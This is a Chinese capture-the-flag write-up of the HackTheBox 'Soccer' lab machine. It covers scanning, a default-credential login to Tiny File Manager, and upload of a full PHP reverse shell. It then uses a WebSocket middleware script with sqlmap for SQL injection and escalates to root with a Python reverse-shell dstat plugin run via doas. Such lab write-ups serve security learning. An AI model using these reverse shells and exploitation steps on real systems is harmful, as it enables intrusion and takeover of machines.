HTB-Soccer
一、思路概要
1.目录扫描发现子目录存在Tiny File Manager弱口令;
2.弱口令登录后文件上传反弹shell获取www-data权限;
3.ngnix配置文件信息泄露发现soc-player子域;
4.soc-player子域页面源码发现使用了WebSocket;
5.WebSocket实现SQL注入获取ssh账户;
6.doas和dstat联动提权
二、信息收集
话不多说,nmap一把梭
nmap -sC -sV 10.10.11.194
┌──(root💀kali)-[~/桌面]
└─# nmap -sC -sV 10.10.11.194
Starting Nmap 7.91 ( https://nmap.org ) at 2023-02-06 04:01 EST
Nmap scan report for 10.10.11.194
Host is up (0.26s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ad:0d:84:a3:fd:cc:98:a4:78:fe:f9:49:15:da:e1:6d (RSA)
| 256 df:d6:a3:9f:68:26:9d:fc:7c:6a:0c:29:e9:61:f0:0c (ECDSA)
|_ 256 57:97:56:5d:ef:79:3c:2f:cb:db:35:ff:f1:7c:61:5c (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soccer.htb/
9091/tcp open xmltec-xmlmail?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix:
......
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
......
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 49.39 seconds
开放端口:22(SSH)、80(HTTP,ngnix服务器)、9091
80端口HTTP服务域名为soccer.htb,将域名解析条目添加到hosts文件
echo "10.10.11.194 soccer.htb" >> /etc/hosts
浏览器访问soccer.htb,常规思路观察页面、看源码,没东西
gobuster扫目录(PS:龟速dirb还是少用)
┌──(root💀kali)-[~/桌面]
└─# gobuster dir -u http://soccer.htb/ -w /usr/share/wordlists/dirb/big.txt
===============================================================
Gobuster v3.4
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://soccer.htb/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.4
[+] Timeout: 10s
===============================================================
2023/02/06 07:27:43 Starting gobuster in directory enumeration mode
===============================================================
/.htaccess (Status: 403) [Size: 162]
/.htpasswd (Status: 403) [Size: 162]
Progress: 13324 / 20470 (65.09%)[ERROR] 2023/02/06 07:35:14 [!] Get "http://soccer.htb/our-blog": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
Progress: 13333 / 20470 (65.13%)[ERROR] 2023/02/06 07:35:15 [!] Get "http://soccer.htb/out": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
Progress: 13408 / 20470 (65.50%)[ERROR] 2023/02/06 07:35:21 [!] Get "http://soccer.htb/p7ap": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
Progress: 14609 / 20470 (71.37%)[ERROR] 2023/02/06 07:36:13 [!] Get "http://soccer.htb/producttags": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
Progress: 14614 / 20470 (71.39%)[ERROR] 2023/02/06 07:36:14 [!] Get "http://soccer.htb/profiles": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
Progress: 14625 / 20470 (71.45%)[ERROR] 2023/02/06 07:36:17 [!] Get "http://soccer.htb/promoted": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
Progress: 14652 / 20470 (71.58%)[ERROR] 2023/02/06 07:36:21 [!] Get "http://soccer.htb/proplayer": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
Progress: 14707 / 20470 (71.85%)[ERROR] 2023/02/06 07:36:25 [!] Get "http://soccer.htb/prototype": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
/tiny (Status: 301) [Size: 178] [--> http://soccer.htb/tiny/]
Progress: 20469 / 20470 (100.00%)
===============================================================
2023/02/06 07:40:00 Finished
===============================================================
扫得http://soccer.htb/tiny/
,浏览器访问,是个登录界面

下方有个超链接:—— © CCP Programmers ——,打开一看,就是登录页面的标题。

三、Tiny File Manager弱口令
Github有默认用户名和密码
默认用户名/密码:
admin/admin@123
user/12345
四、文件上传反弹shell
用admin用户登录进来,浏览页面,有个上传点,那当然是试试能不能上传个反弹shell。试来试去,发现刚进来的主界面是/var/www/html目录,正常的www服务目录,上传的话只会上传到当前所在目录,而且只有tiny/uploads目录下可以上传成功。由于靶场环境会隔几分钟刷新,所以上传的文件留存不了太久,建议上传之前就开好监听
nc -nvlp 3030 #端口改成自己脚本对应的
反弹shell脚本如下,注意修改ip为自己的vpn环境的ip(ifconfig命令看tun0网卡ip)
参考https://github.com/Cyberw1ng/Bug-Bounty/blob/main/rev_shell.php
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.16.6'; // CHANGE THIS
$port = 3030; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0);
}
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
chdir("/");
umask(0);
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
上传成功
URL栏里访问Shell文件https://www.soccer.htb/tiny/uploads/ReverseShell.php
监听接收到shell响应
获取bash,也就是转换成交互式shell
此时我们先看home目录,看有哪些用户,然后发现/home/player目录下有个user.txt,但www-data用户无访问权限
五、ngnix配置文件敏感信息泄露
然后来看ngnix的配置文件,在/etc/nginx/sites-enabled发现子域名soc-player.soccer.htb,这子域名也可以在/etc/hosts发现
再次添加域名解析条目进hosts文件,然后浏览器访问,如下可看到【Match】、【Login】、【Signup】字段
echo "10.10.11.194 soc-player.soccer.htb" >> /etc/hosts
Match页面没什么东西
那我们就试试【Singnup】注册个账户,注册成功
然后登录
登录成功,跳转到一个票据检查页面
查看源码,用了WebSocket
六、WebSocket实现SQL注入
这里搜寻了大佬的思路,参考:Automating Blind SQL injection over WebSocket,可以利用WebSocket,实施SQL注入。在任意位置新建以下脚本文件
from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection
ws_server = "ws://soc-player.soccer.htb:9091/"
def send_ws(payload):
ws = create_connection(ws_server)
# If the server returns a response on connect, use below line
#resp = ws.recv() # If server returns something like a token on connect you can find and extract from here
# For our case, format the payload in JSON
message = unquote(payload).replace('"','\'') # replacing " with ' to avoid breaking JSON structure
data = '{"id":"%s"}' % message
ws.send(data)
resp = ws.recv()
ws.close()
if resp:
return resp
else:
return ''
def middleware_server(host_port,content_type="text/plain"):
class CustomHandler(SimpleHTTPRequestHandler):
def do_GET(self) -> None:
self.send_response(200)
try:
payload = urlparse(self.path).query.split('=',1)[1]
except IndexError:
payload = False
if payload:
content = send_ws(payload)
else:
content = 'No parameters specified!'
self.send_header("Content-type", content_type)
self.end_headers()
self.wfile.write(content.encode())
return
class _TCPServer(TCPServer):
allow_reuse_address = True
httpd = _TCPServer(host_port, CustomHandler)
httpd.serve_forever()
print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")
try:
middleware_server(('0.0.0.0',8081))
except KeyboardInterrupt:
pass
先运行脚本,后开启sqlmap
sqlmap -u "http://localhost:8081/?id=1"
死活测不出来,后面升级sqlmap,还不行,盯了两天,看了好几个大佬的思路,确定这个sql注入是必经之路,无奈,只能白嫖大佬的注入结果(如有大佬有思路,烦请指点一二)
sqlmap -u “http://localhost:8081/?id="
sqlmap -u “http://localhost:8081/?id=" --current-db
sqlmap -u “http://localhost:8081/?id=" -D soccer_db --tables
sqlmap -u "http://localhost:8081/?id=" -D soccer_db -T accounts --dump
+------+-------------------+----------+----------------------+
| id | email | username | password |
+------+-------------------+----------+----------------------+
| 1324 | player@player.htb | player | PlayerOftheMatch2022 |
+------+-------------------+----------+----------------------+
然后SSH连上这个player用户
七、doas和dstat联动提权
接下来就是提权,我们用doas和dstat联动提权
doas:以其他用户身份执行命令,系统管理员可以对其进行设定,赋予指定使用者执行特定指令的权限。
dstat:用于生成系统资源统计信息的多功能工具。
关键点就在于用户可以给dstat添加查看系统资源的脚本文件,我们可以在脚本文件中利用socket来建立连接,从而获取shell。
我们用下列查找命令,可以发现靶机包含dstat工具
find / -type d -name dstat 2>/dev/null
注:由于find在匹配查找过程中,会有部分目录无可读权限,从而会产生“Permission denied”的错误提示,此处“2>/dev/null”是为了过滤掉这些提示,简化输出结果。“2>/dev/null”表示重定向错误提示信息(stderr)到“/dev/null”,“/dev/null”是一个不存在的空设备。
可以看到dstat文件的格式都是dstat_*.py
官方给出的可能包含外部dstat_*.py插件的目录有如下几个
~/.dstat/
(path of binary)/plugins/
/usr/share/dstat/
/usr/local/share/dstat/
我们可以在/usr/local/share/dstat目录新建dstat_wa0er.py,内容如下
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.16.15",3030)); #此处ip及端口依然对应开启监听的主机和端口
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
import pty; pty.spawn("/bin/sh")
开启端口监听
nc -nvlp 3030
借助doas,以root身份执行dstat命令,从而执行dstat_wa0er.py
doas -u root /usr/bin/dstat --wa0er
可以看到,我们成功拿到root权限
参考
Hack The Box — Soccer Machine Simple Writeup by Karthikeyan Nagaraj
Automating Blind SQL injection over WebSocket